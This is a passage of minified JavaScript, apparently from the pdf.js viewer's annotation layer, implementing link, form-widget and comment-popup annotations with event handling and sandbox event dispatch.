Down"])&&this.enableScripting&&this.hasJSActions&&(this._bindJSAction(r,t),i=!0),t.resetForm?(this._bindResetFormAction(r,t.resetForm),i=!0):this.isTooltipOnly&&!i&&(this._bindLink(r,""),i=!0)),this.container.classList.add("linkAnnotation"),i&&(this.contentElement=r,this.container.append(r)),this.container}_bindLink(t,n,r=""){t.href=this.linkService.getDestinationHash(n),t.onclick=()=>(n&&this.linkService.goToDestination(n),!1),(n||n==="")&&A(this,Kn,mo).call(this),r&&(t.title=r)}_bindNamedAction(t,n,r=""){t.href=this.linkService.getAnchorUrl(""),t.onclick=()=>(this.linkService.executeNamedAction(n),!1),r&&(t.title=r),A(this,Kn,mo).call(this)}_bindJSAction(t,n){t.href=this.linkService.getAnchorUrl("");const r=new Map([["Action","onclick"],["Mouse Up","onmouseup"],["Mouse Down","onmousedown"]]);for(const i of Object.keys(n.actions)){const s=r.get(i);s&&(t[s]=()=>{var o;return(o=this.linkService.eventBus)==null||o.dispatch("dispatcheventinsandbox",{source:this,detail:{id:n.id,name:i}}),!1})}n.overlaidText&&(t.title=n.overlaidText),t.onclick||(t.onclick=()=>!1),A(this,Kn,mo).call(this)}_bindResetFormAction(t,n){const r=t.onclick;if(r||(t.href=this.linkService.getAnchorUrl("")),A(this,Kn,mo).call(this),!this._fieldObjects){ht('_bindResetFormAction - "resetForm" action not supported, ensure that the `fieldObjects` parameter is provided.'),r||(t.onclick=()=>!1);return}t.onclick=()=>{var d;r==null||r();const{fields:i,refs:s,include:o}=n,l=[];if(i.length!==0||s.length!==0){const f=new Set(s);for(const p of i){const m=this._fieldObjects[p]||[];for(const{id:v}of m)f.add(v)}for(const p of Object.values(this._fieldObjects))for(const m of p)f.has(m.id)===o&&l.push(m)}else for(const f of Object.values(this._fieldObjects))l.push(...f);const u=this.annotationStorage,c=[];for(const f of l){const{id:p}=f;switch(c.push(p),f.type){case"text":{const v=f.defaultValue||"";u.setValue(p,{value:v});break}case"checkbox":case"radiobutton":{const v=f.defaultValue===f.exportValues;u.setValue(p,{value:v});break}case"combobox":case"listbox":{const v=f.defaultValue||"";u.setValue(p,{value:v});break}default:continue}const m=document.querySelector(`[data-element-id="${p}"]`);if(m){if(!ch.has(m)){ht(`_bindResetFormAction - element not allowed: ${p}`);continue}}else continue;m.dispatchEvent(new Event("resetform"))}return this.enableScripting&&((d=this.linkService.eventBus)==null||d.dispatch("dispatcheventinsandbox",{source:this,detail:{id:"app",ids:c,name:"ResetForm"}})),!1}}}Kn=new WeakSet,mo=function(){this.container.setAttribute("data-internal-link","")},pE=function(t,n,r="",i=null){t.href=this.linkService.getAnchorUrl(""),n.description?t.title=n.description:r&&(t.title=r),t.onclick=()=>{var s;return(s=this.downloadManager)==null||s.openOrDownloadData(n.content,n.filename,i),!1},A(this,Kn,mo).call(this)},gE=function(t,n,r=""){t.href=this.linkService.getAnchorUrl(""),t.onclick=()=>(this.linkService.executeSetOCGState(n),!1),r&&(t.title=r),A(this,Kn,mo).call(this)};class fC extends re{constructor(e){super(e,{isRenderable:!0})}render(){this.container.classList.add("textAnnotation");const e=document.createElement("img");return e.src=this.imageResourcesPath+"annotation-"+this.data.name.toLowerCase()+".svg",e.setAttribute("data-l10n-id","pdfjs-text-annotation-type"),e.setAttribute("data-l10n-args",JSON.stringify({type:this.data.name})),!this.data.popupRef&&this.hasPopupData&&(this.hasOwnCommentButton=!0,this._createPopup()),this.container.append(e),this.container}}class fh extends re{render(){return this.container}showElementAndHideCanvas(e){var t;this.data.hasOwnCanvas&&(((t=e.previousSibling)==null?void 0:t.nodeName)==="CANVAS"&&(e.previousSibling.hidden=!0),e.hidden=!1)}_getKeyModifier(e){return be.platform.isMac?e.metaKey:e.ctrlKey}_setEventListener(e,t,n,r,i){n.includes("mouse")?e.addEventListener(n,s=>{var o;(o=this.linkService.eventBus)==null||o.dispatch("dispatcheventinsandbox",{source:this,detail:{id:this.data.id,name:r,value:i(s),shift:s.shiftKey,modifier:this._getKeyModifier(s)}})}):e.addEventListener(n,s=>{var o;if(n==="blur"){if(!t.focused||!s.relatedTarget)return;t.focused=!1}else if(n==="focus"){if(t.focused)return;t.focused=!0}i&&((o=this.linkService.eventBus)==null||o.dispatch("dispatcheventinsandbox",{source:this,detail:{id:this.data.id,name:r,value:i(s)}}))})}_setEventListeners(e,t,n,r){var i,s,o;for(const[l,u]of n)(u==="Action"||(i=this.data.actions)!=null&&i[u])&&((u==="Focus"||u==="Blur")&&(t||(t={focused:!1})),this._setEventListener(e,t,l,u,r),u==="Focus"&&!((s=this.data.actions)!=null&&s.Blur)?this._setEventListener(e,t,"blur","Blur",null):u==="Blur"&&!((o=this.data.actions)!=null&&o.Focus)&&this._setEventListener(e,t,"focus","Focus",null))}_setBackgroundColor(e){const t=this.data.backgroundColor||null;e.style.backgroundColor=t===null?"transparent":_.makeHexColor(...t)}_setTextStyle(e){const t=["left","center","right"],{fontColor:n}=this.data.defaultAppearanceData,r=this.data.defaultAppearanceData.fontSize||uC,i=e.style;let s;const o=2,l=u=>Math.round(10*u)/10;if(this.data.multiLine){const u=Math.abs(this.data.rect[3]-this.data.rect[1]-o),c=Math.round(u/(Cv*r))||1,d=u/c;s=Math.min(r,l(d/Cv))}else{const u=Math.abs(this.data.rect[3]-this.data.rect[1]-o);s=Math.min(r,l(u/Cv))}i.fontSize=`calc(${s}px * var(--total-scale-factor))`,i.color=_.makeHexColor(...n),this.data.textAlignment!==null&&(i.textAlign=t[this.data.textAlignment])}_setRequired(e,t){t?e.setAttribute("required",!0):e.removeAttribute("required"),e.setAttribute("aria-required",t)}}class pC extends fh{constructor(e){const t=e.renderForms||e.data.hasOwnCanvas||!e.data.hasAppearance&&!!e.data.fieldValue;super(e,{isRenderable:t})}setPropertyOnSiblings(e,t,n,r){const i=this.annotationStorage;for(const s of this._getElementsByName(e.name,e.id))s.domElement&&(s.domElement[t]=n),i.setValue(s.id,{[r]:n})}render(){var r,i;const e=this.annotationStorage,t=this.data.id;this.container.classList.add("textWidgetAnnotation");let n=null;if(this.renderForms){const s=e.getValue(t,{value:this.data.fieldValue});let o=s.value||"";const l=e.getValue(t,{charLimit:this.data.maxLen}).charLimit;l&&o.length>l&&(o=o.slice(0,l));let u=s.formattedValue||((r=this.data.textContent)==null?void 0:r.join(` +`))||null;u&&this.data.comb&&(u=u.replaceAll(/\s+/g,""));const c={userValue:o,formattedValue:u,lastCommittedValue:null,commitKey:1,focused:!1};this.data.multiLine?(n=document.createElement("textarea"),n.textContent=u??o,this.data.doNotScroll&&(n.style.overflowY="hidden")):(n=document.createElement("input"),n.type=this.data.password?"password":"text",n.setAttribute("value",u??o),this.data.doNotScroll&&(n.style.overflowX="hidden")),this.data.hasOwnCanvas&&(n.hidden=!0),ch.add(n),this.contentElement=n,n.setAttribute("data-element-id",t),n.disabled=this.data.readOnly,n.name=this.data.fieldName,n.tabIndex=0;const{datetimeFormat:d,datetimeType:f,timeStep:p}=this.data,m=!!f&&this.enableScripting;d&&(n.title=d),this._setRequired(n,this.data.required),l&&(n.maxLength=l),n.addEventListener("input",y=>{e.setValue(t,{value:y.target.value}),this.setPropertyOnSiblings(n,"value",y.target.value,"value"),c.formattedValue=null}),n.addEventListener("resetform",y=>{const E=this.data.defaultFieldValue??"";n.value=c.userValue=E,c.formattedValue=null});let v=y=>{const{formattedValue:E}=c;E!=null&&(y.target.value=E),y.target.scrollLeft=0};if(this.enableScripting&&this.hasJSActions){n.addEventListener("focus",E=>{var w;if(c.focused)return;const{target:S}=E;if(m&&(S.type=f,p&&(S.step=p)),c.userValue){const C=c.userValue;if(m)if(f==="time"){const x=new Date(C),T=[x.getHours(),x.getMinutes(),x.getSeconds()];S.value=T.map(I=>I.toString().padStart(2,"0")).join(":")}else S.value=new Date(C-cC).toISOString().split(f==="date"?"T":".",1)[0];else S.value=C}c.lastCommittedValue=S.value,c.commitKey=1,(w=this.data.actions)!=null&&w.Focus||(c.focused=!0)}),n.addEventListener("updatefromsandbox",E=>{this.showElementAndHideCanvas(E.target);const S={value(w){c.userValue=w.detail.value??"",m||e.setValue(t,{value:c.userValue.toString()}),w.target.value=c.userValue},formattedValue(w){const{formattedValue:C}=w.detail;c.formattedValue=C,C!=null&&w.target!==document.activeElement&&(w.target.value=C);const x={formattedValue:C};m&&(x.value=C),e.setValue(t,x)},selRange(w){w.target.setSelectionRange(...w.detail.selRange)},charLimit:w=>{var I;const{charLimit:C}=w.detail,{target:x}=w;if(C===0){x.removeAttribute("maxLength");return}x.setAttribute("maxLength",C);let T=c.userValue;!T||T.length<=C||(T=T.slice(0,C),x.value=c.userValue=T,e.setValue(t,{value:T}),(I=this.linkService.eventBus)==null||I.dispatch("dispatcheventinsandbox",{source:this,detail:{id:t,name:"Keystroke",value:T,willCommit:!0,commitKey:1,selStart:x.selectionStart,selEnd:x.selectionEnd}}))}};this._dispatchEventFromSandbox(S,E)}),n.addEventListener("keydown",E=>{var C;c.commitKey=1;let S=-1;if(E.key==="Escape"?S=0:E.key==="Enter"&&!this.data.multiLine?S=2:E.key==="Tab"&&(c.commitKey=3),S===-1)return;const{value:w}=E.target;c.lastCommittedValue!==w&&(c.lastCommittedValue=w,c.userValue=w,(C=this.linkService.eventBus)==null||C.dispatch("dispatcheventinsandbox",{source:this,detail:{id:t,name:"Keystroke",value:w,willCommit:!0,commitKey:S,selStart:E.target.selectionStart,selEnd:E.target.selectionEnd}}))});const y=v;v=null,n.addEventListener("blur",E=>{var C,x;if(!c.focused||!E.relatedTarget)return;(C=this.data.actions)!=null&&C.Blur||(c.focused=!1);const{target:S}=E;let{value:w}=S;if(m){if(w&&f==="time"){const T=w.split(":").map(I=>parseInt(I,10));w=new Date(2e3,0,1,T[0],T[1],T[2]||0).valueOf(),S.step=""}else w.includes("T")||(w=`${w}T00:00`),w=new Date(w).valueOf();S.type="text"}c.userValue=w,c.lastCommittedValue!==w&&((x=this.linkService.eventBus)==null||x.dispatch("dispatcheventinsandbox",{source:this,detail:{id:t,name:"Keystroke",value:w,willCommit:!0,commitKey:c.commitKey,selStart:E.target.selectionStart,selEnd:E.target.selectionEnd}})),y(E)}),(i=this.data.actions)!=null&&i.Keystroke&&n.addEventListener("beforeinput",E=>{var P;c.lastCommittedValue=null;const{data:S,target:w}=E,{value:C,selectionStart:x,selectionEnd:T}=w;let I=x,F=T;switch(E.inputType){case"deleteWordBackward":{const R=C.substring(0,x).match(/\w*[^\w]*$/);R&&(I-=R[0].length);break}case"deleteWordForward":{const R=C.substring(x).match(/^[^\w]*\w*/);R&&(F+=R[0].length);break}case"deleteContentBackward":x===T&&(I-=1);break;case"deleteContentForward":x===T&&(F+=1);break}E.preventDefault(),(P=this.linkService.eventBus)==null||P.dispatch("dispatcheventinsandbox",{source:this,detail:{id:t,name:"Keystroke",value:C,change:S||"",willCommit:!1,selStart:I,selEnd:F}})}),this._setEventListeners(n,c,[["focus","Focus"],["blur","Blur"],["mousedown","Mouse Down"],["mouseenter","Mouse Enter"],["mouseleave","Mouse Exit"],["mouseup","Mouse Up"]],E=>E.target.value)}if(v&&n.addEventListener("blur",v),this.data.comb){const E=(this.data.rect[2]-this.data.rect[0])/l;n.classList.add("comb"),n.style.letterSpacing=`calc(${E}px * var(--total-scale-factor) - 1ch)`}}else n=document.createElement("div"),n.textContent=this.data.fieldValue,n.style.verticalAlign="middle",n.style.display="table-cell",this.data.hasOwnCanvas&&(n.hidden=!0);return this._setTextStyle(n),this._setBackgroundColor(n),this._setDefaultPropertiesFromJS(n),this.container.append(n),this.container}}class gC extends fh{constructor(e){super(e,{isRenderable:!!e.data.hasOwnCanvas})}}class mC extends fh{constructor(e){super(e,{isRenderable:e.renderForms})}render(){const e=this.annotationStorage,t=this.data,n=t.id;let r=e.getValue(n,{value:t.exportValue===t.fieldValue}).value;typeof r=="string"&&(r=r!=="Off",e.setValue(n,{value:r})),this.container.classList.add("buttonWidgetAnnotation","checkBox");const i=document.createElement("input");return ch.add(i),i.setAttribute("data-element-id",n),i.disabled=t.readOnly,this._setRequired(i,this.data.required),i.type="checkbox",i.name=t.fieldName,r&&i.setAttribute("checked",!0),i.setAttribute("exportValue",t.exportValue),i.tabIndex=0,i.addEventListener("change",s=>{const{name:o,checked:l}=s.target;for(const u of this._getElementsByName(o,n)){const c=l&&u.exportValue===t.exportValue;u.domElement&&(u.domElement.checked=c),e.setValue(u.id,{value:c})}e.setValue(n,{value:l})}),i.addEventListener("resetform",s=>{const o=t.defaultFieldValue||"Off";s.target.checked=o===t.exportValue}),this.enableScripting&&this.hasJSActions&&(i.addEventListener("updatefromsandbox",s=>{const o={value(l){l.target.checked=l.detail.value!=="Off",e.setValue(n,{value:l.target.checked})}};this._dispatchEventFromSandbox(o,s)}),this._setEventListeners(i,null,[["change","Validate"],["change","Action"],["focus","Focus"],["blur","Blur"],["mousedown","Mouse Down"],["mouseenter","Mouse Enter"],["mouseleave","Mouse Exit"],["mouseup","Mouse Up"]],s=>s.target.checked)),this._setBackgroundColor(i),this._setDefaultPropertiesFromJS(i),this.container.append(i),this.container}}class mE extends fh{constructor(e){super(e,{isRenderable:e.renderForms})}render(){this.container.classList.add("buttonWidgetAnnotation","radioButton");const e=this.annotationStorage,t=this.data,n=t.id;let r=e.getValue(n,{value:t.fieldValue===t.buttonValue}).value;if(typeof r=="string"&&(r=r!==t.buttonValue,e.setValue(n,{value:r})),r)for(const s of this._getElementsByName(t.fieldName,n))e.setValue(s.id,{value:!1});const i=document.createElement("input");if(ch.add(i),i.setAttribute("data-element-id",n),i.disabled=t.readOnly,this._setRequired(i,this.data.required),i.type="radio",i.name=t.fieldName,r&&i.setAttribute("checked",!0),i.tabIndex=0,i.addEventListener("change",s=>{const{name:o,checked:l}=s.target;for(const u of this._getElementsByName(o,n))e.setValue(u.id,{value:!1});e.setValue(n,{value:l})}),i.addEventListener("resetform",s=>{const o=t.defaultFieldValue;s.target.checked=o!=null&&o===t.buttonValue}),this.enableScripting&&this.hasJSActions){const s=t.buttonValue;i.addEventListener("updatefromsandbox",o=>{const l={value:u=>{const c=s===u.detail.value;for(const d of this._getElementsByName(u.target.name)){const f=c&&d.id===n;d.domElement&&(d.domElement.checked=f),e.setValue(d.id,{value:f})}}};this._dispatchEventFromSandbox(l,o)}),this._setEventListeners(i,null,[["change","Validate"],["change","Action"],["focus","Focus"],["blur","Blur"],["mousedown","Mouse Down"],["mouseenter","Mouse Enter"],["mouseleave","Mouse Exit"],["mouseup","Mouse Up"]],o=>o.target.checked)}return this._setBackgroundColor(i),this._setDefaultPropertiesFromJS(i),this.container.append(i),this.container}}class vC extends hb{constructor(e){super(e,{ignoreBorder:e.data.hasAppearance})}render(){const e=super.render();e.classList.add("buttonWidgetAnnotation","pushButton");const t=e.lastChild;return this.enableScripting&&this.hasJSActions&&t&&(this._setDefaultPropertiesFromJS(t),t.addEventListener("updatefromsandbox",n=>{this._dispatchEventFromSandbox({},n)})),e}}class yC extends fh{constructor(e){super(e,{isRenderable:e.renderForms})}render(){this.container.classList.add("choiceWidgetAnnotation");const e=this.annotationStorage,t=this.data.id,n=e.getValue(t,{value:this.data.fieldValue}),r=document.createElement("select");ch.add(r),r.setAttribute("data-element-id",t),r.disabled=this.data.readOnly,this._setRequired(r,this.data.required),r.name=this.data.fieldName,r.tabIndex=0;let i=this.data.combo&&this.data.options.length>0;this.data.combo||(r.size=this.data.options.length,this.data.multiSelect&&(r.multiple=!0)),r.addEventListener("resetform",d=>{const f=this.data.defaultFieldValue;for(const p of r.options)p.selected=p.value===f});const s=(d,f)=>{const p=f.replaceAll(" "," ");d.textContent=p,p!==f&&d.setAttribute("display-value",f)};for(const d of this.data.options){const f=document.createElement("option");s(f,d.displayValue),f.value=d.exportValue,n.value.includes(d.exportValue)&&(f.setAttribute("selected",!0),i=!1),r.append(f)}let o=null;if(i){const d=document.createElement("option");d.value=" ",d.setAttribute("hidden",!0),d.setAttribute("selected",!0),r.prepend(d),o=()=>{d.remove(),r.removeEventListener("input",o),o=null},r.addEventListener("input",o)}const l=d=>{const f=d?"value":"textContent",{options:p,multiple:m}=r;return m?Array.prototype.filter.call(p,v=>v.selected).map(v=>v[f]):p.selectedIndex===-1?null:p[p.selectedIndex][f]};let u=l(!1);const c=d=>{const f=d.target.options;return Array.prototype.map.call(f,p=>({displayValue:p.getAttribute("display-value")||p.textContent,exportValue:p.value}))};return this.enableScripting&&this.hasJSActions?(r.addEventListener("updatefromsandbox",d=>{const f={value(p){o==null||o();const m=p.detail.value,v=new Set(Array.isArray(m)?m:[m]);for(const y of r.options)y.selected=v.has(y.value);e.setValue(t,{value:l(!0)}),u=l(!1)},multipleSelection(p){r.multiple=!0},remove(p){const m=r.options,v=p.detail.remove;m[v].selected=!1,r.remove(v),m.length>0&&Array.prototype.findIndex.call(m,E=>E.selected)===-1&&(m[0].selected=!0),e.setValue(t,{value:l(!0),items:c(p)}),u=l(!1)},clear(p){for(;r.length!==0;)r.remove(0);e.setValue(t,{value:null,items:[]}),u=l(!1)},insert(p){const{index:m,displayValue:v,exportValue:y}=p.detail.insert,E=r.children[m],S=document.createElement("option");s(S,v),S.value=y,E?E.before(S):r.append(S),e.setValue(t,{value:l(!0),items:c(p)}),u=l(!1)},items(p){const{items:m}=p.detail;for(;r.length!==0;)r.remove(0);for(const v of m){const{displayValue:y,exportValue:E}=v,S=document.createElement("option");s(S,y),S.value=E,r.append(S)}r.options.length>0&&(r.options[0].selected=!0),e.setValue(t,{value:l(!0),items:c(p)}),u=l(!1)},indices(p){const m=new Set(p.detail.indices);for(const v of p.target.options)v.selected=m.has(v.index);e.setValue(t,{value:l(!0)}),u=l(!1)},editable(p){p.target.disabled=!p.detail.editable}};this._dispatchEventFromSandbox(f,d)}),r.addEventListener("input",d=>{var m;const f=l(!0),p=l(!1);e.setValue(t,{value:f}),d.preventDefault(),(m=this.linkService.eventBus)==null||m.dispatch("dispatcheventinsandbox",{source:this,detail:{id:t,name:"Keystroke",value:u,change:p,changeEx:f,willCommit:!1,commitKey:1,keyDown:!1}})}),this._setEventListeners(r,null,[["focus","Focus"],["blur","Blur"],["mousedown","Mouse Down"],["mouseenter","Mouse Enter"],["mouseleave","Mouse Exit"],["mouseup","Mouse Up"],["input","Action"],["input","Validate"]],d=>d.target.value)):r.addEventListener("input",function(d){e.setValue(t,{value:l(!0)})}),this.data.combo&&this._setTextStyle(r),this._setBackgroundColor(r),this._setDefaultPropertiesFromJS(r),this.container.append(r),this.container}}var kf,By;class Ny extends re{constructor(t){const{data:n,elements:r,parent:i}=t,s=!!i._commentManager;super(t,{isRenderable:!s&&re._hasPopupData(n)});b(this,kf);if(this.elements=r,s&&re._hasPopupData(n)){const o=this.popup=A(this,kf,By).call(this);for(const l of r)l.popup=o}else this.popup=null}render(){const{container:t}=this;t.classList.add("popupAnnotation"),t.role="comment";const n=this.popup=A(this,kf,By).call(this),r=[];for(const i of this.elements)i.popup=n,i.container.ariaHasPopup="dialog",r.push(i.data.id),i.addHighlightArea();return this.container.setAttribute("aria-controls",r.map(i=>`${Ph}${i}`).join(",")),this.container}}kf=new WeakSet,By=function(){return new bC({container:this.container,color:this.data.color,titleObj:this.data.titleObj,modificationDate:this.data.modificationDate||this.data.creationDate,contentsObj:this.data.contentsObj,richText:this.data.richText,rect:this.data.rect,parentRect:this.data.parentRect||null,parent:this.parent,elements:this.elements,open:this.data.open,commentManager:this.parent._commentManager})};var Nn,Ta,Zm,Qm,Du,Ou,oe,ai,Pa,wl,Mu,Lu,oi,Bn,ss,as,le,os,Ia,jf,ls,Nu,xl,Ra,Re,Fa,At,$g,ky,jy,Uy,Hg,$y,vE,yE,bE,AE,Vg,Wg,Hy;class bC{constructor({container:e,color:t,elements:n,titleObj:r,modificationDate:i,contentsObj:s,richText:o,parent:l,rect:u,parentRect:c,open:d,commentManager:f=null}){b(this,At);b(this,Nn,null);b(this,Ta,A(this,At,bE).bind(this));b(this,Zm,A(this,At,Hy).bind(this));b(this,Qm,A(this,At,Wg).bind(this));b(this,Du,A(this,At,Vg).bind(this));b(this,Ou,null);b(this,oe,null);b(this,ai,null);b(this,Pa,null);b(this,wl,null);b(this,Mu,null);b(this,Lu,null);b(this,oi,!1);b(this,Bn,null);b(this,ss,null);b(this,as,null);b(this,le,null);b(this,os,null);b(this,Ia,null);b(this,jf,null);b(this,ls,null);b(this,Nu,null);b(this,xl,null);b(this,Ra,!1);b(this,Re,null);b(this,Fa,null);g(this,oe,e),g(this,Nu,r),g(this,ai,s),g(this,ls,o),g(this,Mu,l),g(this,Ou,t),g(this,jf,u),g(this,Lu,c),g(this,wl,n),g(this,Nn,f),g(this,Re,n[0]),g(this,Pa,Xv.toDateObject(i)),this.trigger=n.flatMap(p=>p.getElementsToTriggerPopup()),f||(A(this,At,$g).call(this),a(this,oe).hidden=!0,d&&A(this,At,Vg).call(this))}renderCommentButton(){if(a(this,le)){a(this,le).parentNode||a(this,Re).container.after(a(this,le));return}if(a(this,os)||A(this,At,ky).call(this),!a(this,os))return;const{signal:e}=g(this,ss,new AbortController),t=a(this,Re).hasOwnCommentButton,n=()=>{a(this,Nn).toggleCommentPopup(this,!0,void 0,!t)},r=()=>{a(this,Nn).toggleCommentPopup(this,!1,!0,!t)},i=()=>{a(this,Nn).toggleCommentPopup(this,!1,!1)};if(t){g(this,le,a(this,Re).container);for(const s of this.trigger)s.ariaHasPopup="dialog",s.ariaControls="commentPopup",s.addEventListener("keydown",a(this,Ta),{signal:e}),s.addEventListener("click",n,{signal:e}),s.addEventListener("pointerenter",r,{signal:e}),s.addEventListener("pointerleave",i,{signal:e}),s.classList.add("popupTriggerArea")}else{const s=g(this,le,document.createElement("button"));s.className="annotationCommentButton";const o=a(this,Re).container;s.style.zIndex=parseInt(o.style.zIndex,10)+1,s.tabIndex=0,s.ariaHasPopup="dialog",s.ariaControls="commentPopup",s.setAttribute("data-l10n-id","pdfjs-show-comment-button"),A(this,At,Uy).call(this),A(this,At,jy).call(this),s.addEventListener("keydown",a(this,Ta),{signal:e}),s.addEventListener("click",n,{signal:e}),s.addEventListener("pointerenter",r,{signal:e}),s.addEventListener("pointerleave",i,{signal:e}),o.after(s)}}get commentButtonColor(){const{color:e,opacity:t}=a(this,Re).commentData;return e?a(this,Mu)._commentManager.makeCommentColor(e,t):null}focusCommentButton(){setTimeout(()=>{var e;(e=a(this,le))==null||e.focus()},0)}getData(){const{richText:e,color:t,opacity:n,creationDate:r,modificationDate:i}=a(this,Re).commentData;return{contentsObj:{str:this.comment},richText:e,color:t,opacity:n,creationDate:r,modificationDate:i}}get elementBeforePopup(){return a(this,le)}get comment(){return a(this,Fa)||g(this,Fa,a(this,Re).commentText),a(this,Fa)}set comment(e){e!==this.comment&&(a(this,Re).commentText=g(this,Fa,e))}focus(){var e;(e=a(this,Re).container)==null||e.focus()}get parentBoundingClientRect(){return a(this,Re).layer.getBoundingClientRect()}setCommentButtonStates({selected:e,hasPopup:t}){a(this,le)&&(a(this,le).classList.toggle("selected",e),a(this,le).ariaExpanded=t)}setSelectedCommentButton(e){a(this,le).classList.toggle("selected",e)}get commentPopupPosition(){if(a(this,Ia))return a(this,Ia);const{x:e,y:t,height:n}=a(this,le).getBoundingClientRect(),{x:r,y:i,width:s,height:o}=a(this,Re).layer.getBoundingClientRect();return[(e-r)/s,(t+n-i)/o]}set commentPopupPosition(e){g(this,Ia,e)}hasDefaultPopupPosition(){return a(this,Ia)===null}get commentButtonPosition(){return a(this,os)}get commentButtonWidth(){return a(this,le).getBoundingClientRect().width/this.parentBoundingClientRect.width}editComment(e){const[t,n]=a(this,Ia)||this.commentButtonPosition.map(u=>u/100),r=this.parentBoundingClientRect,{x:i,y:s,width:o,height:l}=r;a(this,Nn).showDialog(null,this,i+t*o,s+n*l,{...e,parentDimensions:r})}render(){var n,r;if(a(this,Bn))return;const e=g(this,Bn,document.createElement("div"));if(e.className="popup",a(this,Ou)){const i=e.style.outlineColor=_.makeHexColor(...a(this,Ou));e.style.backgroundColor=`color-mix(in srgb, ${i} 30%, white)`}const t=document.createElement("span");if(t.className="header",(n=a(this,Nu))!=null&&n.str){const i=document.createElement("span");i.className="title",t.append(i),{dir:i.dir,str:i.textContent}=a(this,Nu)}if(e.append(t),a(this,Pa)){const i=document.createElement("time");i.className="popupDate",i.setAttribute("data-l10n-id","pdfjs-annotation-date-time-string"),i.setAttribute("data-l10n-args",JSON.stringify({dateObj:a(this,Pa).valueOf()})),i.dateTime=a(this,Pa).toISOString(),t.append(i)}Y1({html:a(this,At,Hg)||a(this,ai).str,dir:(r=a(this,ai))==null?void 0:r.dir,className:"popupContent"},e),a(this,oe).append(e)}updateEdited({rect:e,popup:t,deleted:n}){var r;if(a(this,Nn)){n?(this.remove(),g(this,Fa,null)):t&&(t.deleted?this.remove():(A(this,At,Uy).call(this),g(this,Fa,t.text))),e&&(g(this,os,null),A(this,At,ky).call(this),A(this,At,jy).call(this));return}if(n||t!=null&&t.deleted){this.remove();return}A(this,At,$g).call(this),a(this,xl)||g(this,xl,{contentsObj:a(this,ai),richText:a(this,ls)}),e&&g(this,as,null),t&&t.text&&(g(this,ls,A(this,At,yE).call(this,t.text)),g(this,Pa,Xv.toDateObject(t.date)),g(this,ai,null)),(r=a(this,Bn))==null||r.remove(),g(this,Bn,null)}resetEdited(){var e;a(this,xl)&&({contentsObj:ie(this,ai)._,richText:ie(this,ls)._}=a(this,xl),g(this,xl,null),(e=a(this,Bn))==null||e.remove(),g(this,Bn,null),g(this,as,null))}remove(){var e,t,n;if((e=a(this,ss))==null||e.abort(),g(this,ss,null),(t=a(this,Bn))==null||t.remove(),g(this,Bn,null),g(this,Ra,!1),g(this,oi,!1),(n=a(this,le))==null||n.remove(),g(this,le,null),this.trigger)for(const r of this.trigger)r.classList.remove("popupTriggerArea")}forceHide(){g(this,Ra,this.isVisible),a(this,Ra)&&(a(this,oe).hidden=!0)}maybeShow(){a(this,Nn)||(A(this,At,$g).call(this),a(this,Ra)&&(a(this,Bn)||A(this,At,Wg).call(this),g(this,Ra,!1),a(this,oe).hidden=!1))}get isVisible(){return a(this,Nn)?!1:a(this,oe).hidden===!1}}Nn=new WeakMap,Ta=new WeakMap,Zm=new WeakMap,Qm=new WeakMap,Du=new WeakMap,Ou=new WeakMap,oe=new WeakMap,ai=new WeakMap,Pa=new WeakMap,wl=new WeakMap,Mu=new WeakMap,Lu=new WeakMap,oi=new WeakMap,Bn=new WeakMap,ss=new WeakMap,as=new WeakMap,le=new WeakMap,os=new WeakMap,Ia=new WeakMap,jf=new WeakMap,ls=new WeakMap,Nu=new WeakMap,xl=new WeakMap,Ra=new WeakMap,Re=new WeakMap,Fa=new WeakMap,At=new WeakSet,$g=function(){var t;if(a(this,ss))return;g(this,ss,new AbortController);const{signal:e}=a(this,ss);for(const n of this.trigger)n.addEventListener("click",a(this,Du),{signal:e}),n.addEventListener("pointerenter",a(this,Qm),{signal:e}),n.addEventListener("pointerleave",a(this,Zm),{signal:e}),n.classList.add("popupTriggerArea");for(const n of a(this,wl))(t=n.container)==null||t.addEventListener("keydown",a(this,Ta),{signal:e})},ky=function(){const e=a(this,wl).find(t=>t.hasCommentButton);e&&g(this,os,e._normalizePoint(e.commentButtonPosition))},jy=function(){if(a(this,Re).extraPopupElement&&!a(this,Re).editor)return;a(this,le)||this.renderCommentButton();const[e,t]=a(this,os),{style:n}=a(this,le);n.left=`calc(${e}%)`,n.top=`calc(${t}% - var(--comment-button-dim))`},Uy=function(){a(this,Re).extraPopupElement||(a(this,le)||this.renderCommentButton(),a(this,le).style.backgroundColor=this.commentButtonColor||"")},Hg=function(){const e=a(this,ls),t=a(this,ai);return e!=null&&e.str&&(!(t!=null&&t.str)||t.str===e.str)&&a(this,ls).html||null},$y=function(){var e,t,n;return((n=(t=(e=a(this,At,Hg))==null?void 0:e.attributes)==null?void 0:t.style)==null?void 0:n.fontSize)||0},vE=function(){var e,t,n;return((n=(t=(e=a(this,At,Hg))==null?void 0:e.attributes)==null?void 0:t.style)==null?void 0:n.color)||null},yE=function(e){const t=[],n={str:e,html:{name:"div",attributes:{dir:"auto"},children:[{name:"p",children:t}]}},r={style:{color:a(this,At,vE),fontSize:a(this,At,$y)?`calc(${a(this,At,$y)}px * var(--total-scale-factor))`:""}};for(const i of e.split(` +`))t.push({name:"span",value:i,attributes:r});return n},bE=function(e){e.altKey||e.shiftKey||e.ctrlKey||e.metaKey||(e.key==="Enter"||e.key==="Escape"&&a(this,oi))&&A(this,At,Vg).call(this)},AE=function(){if(a(this,as)!==null)return;const{page:{view:e},viewport:{rawDims:{pageWidth:t,pageHeight:n,pageX:r,pageY:i}}}=a(this,Mu);let s=!!a(this,Lu),o=s?a(this,Lu):a(this,jf);for(const m of a(this,wl))if(!o||_.intersect(m.data.rect,o)!==null){o=m.data.rect,s=!0;break}const 